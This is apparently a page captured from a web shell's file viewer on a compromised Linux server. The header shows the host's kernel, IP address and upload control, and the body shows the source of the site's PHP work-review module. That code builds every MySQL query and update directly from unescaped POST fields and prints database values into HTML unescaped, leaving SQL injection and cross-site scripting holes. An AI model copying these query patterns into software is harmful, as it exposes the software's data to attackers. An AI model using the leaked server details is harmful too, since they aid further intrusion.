0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.135.219.252


Current Path : /var/www/html/oums/src/
Upload File :
Current File : /var/www/html/oums/src/work_review.php

<?php
include("sys_session.php");
include("sys_mainphp.php");
include("sys_connect.php");
$load_data = $_POST['load_data'];

$resp_mesg = "";
$resp_stat = "";
$resp_file = "";

if ($load_data == 'grid_data') {
    require("sys_grid_data.php");
    $i = 1;

    if ($type_id == "ADMIN") {
        $myqry = " ";
    } else {
        $myqry = " and wk.freptempl = '$empl_id' ";
    }


    $grid_sele = "select em.femplname,fworkcode,date_format(fworkdate,'%d/%m/%Y') as lworkdate,fworkname,ftypedesc,fworkstat,fviewstat,
    wk.freptempl,em.frepthead,e2.femplname as freptname,wt.ftypedesc,
    concat('[',wk.fdeptcode,'] ',dp.fdeptshrt) as ldeptname,
    concat('[',wk.femplcode,'] ',em.femplname) as lemplname,
    concat('[',wk.freptempl,'] ',e2.femplname) as lreptname
    from workentry wk
    left join masdept dp on wk.fdeptcode = dp.fdeptcode
    left join masempl em on wk.femplcode = em.femplcode 
    left join masempl e2 on wk.freptempl = e2.femplcode
    left join maswork_type wt on wk.fworktype = wt.fworktype
    where wk.femplcode like '$_POST[empl_code]' and wk.fworkstat like '%$_POST[work_stat]%' and wk.fviewstat like '%$_POST[view_stat]%' 
    and wk.fworktype like '%$_POST[work_type]%' and wk.freptempl like '%$_POST[rept_head]%' and wk.fworkname like '%$_POST[work_find]%' 
    and ifnull(wk.fdelestat,'F')='F' and wk.fworkdate>'2020-11-30' " . $myqry . "
    order by fworkdate desc, em.femplname, fworkcode desc";

    $grid_para = grid_limit($grid_sele);
    $page_numb = $grid_para[0];
    $last_page = $grid_para[1];
    $page_limt = $grid_para[2];
    $lowr_limt = $grid_para[3];

    $mysql = $grid_sele . " limit $lowr_limt, $page_limt";
    $myres = mysqli_query($mycon, $mysql);
    $mycnt = mysqli_num_rows($myres);
    if ($mycnt > 0) {
        echo "<table>";
        echo "<thead>";
        echo "<tr>";
        echo "<th width='3%'> # </th>";
        echo "<th width='7%'> Work Date </th>";
        echo "<th width='8%'> Client </th>";
        echo "<th width='16%'> Empl. Name </th>";
        echo "<th width='35%'> Work Name </th>";
        echo "<th width='8%'> Review Status </th>";
        echo "<th width='15%'> Reporting Head </th>";
        echo "<th width='10%'> Action </th>";
        echo "</tr>";
        echo "</thead>";
        echo "<tbody>";
        while ($myrow = mysqli_fetch_assoc($myres)) {
            $page_link = "<a class='btn btn-success btn-sm' href=# onClick=edit_data('$myrow[fworkcode]')>" . ($myrow['fviewstat'] == "PENDING" ? "Review" : "Edit Review") . "</a>";
            echo "<tr>";
            echo "<td align='center'>$i</td>";
            echo "<td align='center'>$myrow[lworkdate]</td>";
            echo "<td align='left'>$myrow[ldeptname]</td>";
            echo "<td align='left'>$myrow[lemplname]</td>";
            echo "<td align='left'>$myrow[fworkname]</td>";
            echo "<td align='center'>  $myrow[fviewstat]</td>";
            echo "<td align='left'>  $myrow[lreptname]</td>";
            echo "<td align='center'>  $page_link</td>";
            echo "</tr>";
            $i++;
        }
        echo "</tbody>";
        echo "</table>";
        include("sys_grid_navbar.php");
    } else {
        echo "<div class='alert alert-info'>No details found!</div>";
    }
}


if ($load_data == 'disp_data') {
    $work_code = $_POST['work_code'];
    $mysql = "select wk.fworkcode,wk.fworkdate,wk.fdeptcode,wk.femplcode,em.femplname,em.fempldesn,wk.fworkname,wk.fworktype,wt.ftypedesc,wk.fclntcode,cl.fclntname,
    wk.fworkplan,wk.fworkplce,wk.fworkdetl,wk.fworkstat,wk.fassnempl,wk.freptempl,wk.fviewempl,wk.fviewstat,wk.fviewdetl,wk.fviewtime,wk.fworkremk
    from workentry wk
    inner join masempl em on wk.femplcode = em.femplcode 
    left join maswork_type wt on wk.fworktype = wt.fworktype
    inner join masclient cl on wk.fclntcode = cl.fclntcode
    where fworkcode='$work_code';";
    $myres = mysqli_query($mycon, $mysql);
    $myrows = array();
    while ($r = mysqli_fetch_assoc($myres)) {
        $myrows = $r;
    }
    echo json_encode($myrows);
}

if ($load_data == 'save_data') {
    $view_detl = str_replace("'", "`", $_POST['view_detl']);
    $mysql = "select * from workentry where fworkcode='$_POST[work_code]'";
    $myres = mysqli_query($mycon, $mysql);
    $mycnt = mysqli_num_rows($myres);
    if ($mycnt == 0) {
        $resp_mesg = "Work details not found!";
        $resp_stat = "F";
    } else {
        $mysql = "update workentry set fviewempl='$empl_id',fviewdetl='$view_detl',fworkstat='$_POST[work_stat]',fviewstat='REVIEWED',fviewtime=now() where fworkcode='$_POST[work_code]'";
        $myres = mysqli_query($mycon, $mysql);

        // $mysql = "update workassign set 
        // fworkstat='$_POST[work_stat]',fworkdate='$_POST[work_date]',fviewstat='REVIEWED',fviewempl='$_POST[$empl_id]',fviewtime=now() where fassncode='$_POST[assn_code]'";
        // $myres = mysqli_query($mycon, $mysql);

        // $resp_mesg = "Work review details updated!";
        set_user_logs($dept_id, $user_id, 'VIEW', 'WORK ENTRY REVIEWED: ' . $_POST['work_code'] . ', Work Date: ' . $_POST['work_date']);
    }
    echo json_encode(array("mesg" => $resp_mesg, "stat" => $resp_stat, "file" => $resp_file));
}

if ($load_data == 'disp_next') {
    if ($type_id == "ADMIN") {
        $myqry = " ";
    } else {
        $myqry = " and wk.freptempl = '$empl_id' ";
    }

    $view_ordr = $_POST['view_ordr'];
    $work_empl = $_POST['work_empl'];

    if ($view_ordr == "empl") {
        $myqry2 = " and wk.femplcode like '%$work_empl%' order by wk.femplcode,wk.fworkdate limit 1";
    } else {
        $myqry2 = " order by wk.fworkdate,wk.femplcode limit 1";
    }

    $mysql = "select fworkcode from workentry wk
    inner join masempl em on wk.femplcode = em.femplcode " . $myqry . "
    where fviewstat='PENDING' and ifnull(wk.fdelestat,'F')='F' and wk.fworkdate>'2020-11-30'" . $myqry2;

    $myres = mysqli_query($mycon, $mysql);
    $myrows = array();
    while ($r = mysqli_fetch_assoc($myres)) {
        $myrows = $r;
    }
    echo json_encode($myrows);
}